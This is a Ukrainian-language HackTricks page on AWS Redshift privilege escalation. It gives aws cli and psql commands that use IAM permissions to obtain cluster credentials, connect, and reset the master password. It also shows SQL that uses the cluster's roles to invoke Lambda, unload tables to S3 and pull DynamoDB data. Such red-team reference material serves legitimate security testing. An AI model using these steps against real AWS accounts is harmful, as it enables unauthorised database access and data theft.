AWS - Redshift Privesc

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Redshift

Для отримання додаткової інформації про RDS перегляньте:

pageAWS - Redshift Enum

redshift:DescribeClusters, redshift:GetClusterCredentials

З цими дозволами ви можете отримати інформацію про всі кластери (включаючи назву та ім'я користувача кластера) та отримати облікові дані для доступу до нього:

# Get creds
aws redshift get-cluster-credentials --db-user postgres --cluster-identifier redshift-cluster-1
# Connect, even if the password is a base64 string, that is the password
psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAM:<username>" -d template1 -p 5439

Потенційний вплив: Знайти чутливу інформацію всередині баз даних.

redshift:DescribeClusters, redshift:GetClusterCredentialsWithIAM

З цими дозволами ви можете отримати інформацію про всі кластери та отримати облікові дані, щоб отримати до них доступ. Зверніть увагу, що користувач postgres матиме дозволи, які має ідентифікатор IAM, який використовується для отримання облікових даних.

# Get creds
aws redshift get-cluster-credentials-with-iam --cluster-identifier redshift-cluster-1
# Connect, even if the password is a base64 string, that is the password
psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAMR:AWSReservedSSO_AdministratorAccess_4601154638985c45" -d template1 -p 5439

Потенційний вплив: Знайти чутливу інформацію всередині баз даних.

redshift:DescribeClusters, redshift:ModifyCluster?

Можливо змінити основний пароль внутрішнього користувача postgres (redshit) з aws cli (я думаю, що це дозволи, які вам потрібні, але я ще не тестував їх):

aws redshift modify-cluster –cluster-identifier <identifier-for-the cluster> –master-user-password ‘master-password’;

Потенційний вплив: Знайти чутливу інформацію всередині баз даних.

Доступ до зовнішніх сервісів

Для доступу до всіх наступних ресурсів вам потрібно вказати роль для використання. Кластер Redshift може мати призначений список ролей AWS, які ви можете використовувати, якщо ви знаєте ARN, або ви можете просто встановити "default" для використання призначеної ролі за замовчуванням.

Крім того, як пояснено тут, Redshift також дозволяє конкатенувати ролі (поки перша може припускати другу) для отримання додаткового доступу, просто розділяючи їх комою: iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';

Лямбди

Як пояснено в https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html, можливо викликати функцію лямбди з redshift з чимось на зразок:

CREATE EXTERNAL FUNCTION exfunc_sum2(INT,INT)
RETURNS INT
STABLE
LAMBDA 'lambda_function'
IAM_ROLE default;

S3

Як пояснено в https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html, можливо читати та записувати в бакети S3:

# Read
copy table from 's3://<your-bucket-name>/load/key_prefix'
credentials 'aws_iam_role=arn:aws:iam::<aws-account-id>:role/<role-name>'
region '<region>'
options;

# Write
unload ('select * from venue')
to 's3://mybucket/tickit/unload/venue_'
iam_role default;

Dynamo

Як пояснено в https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html, можливо отримати дані з dynamodb:

copy favoritemovies
from 'dynamodb://ProductCatalog'
iam_role 'arn:aws:iam::0123456789012:role/MyRedshiftRole';

Таблицю Amazon DynamoDB, яка надає дані, слід створити в тій же області AWS, що й ваш кластер, якщо ви не використовуєте параметр REGION, щоб вказати область AWS, в якій знаходиться таблиця Amazon DynamoDB.

EMR

Перевірте https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html

References

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated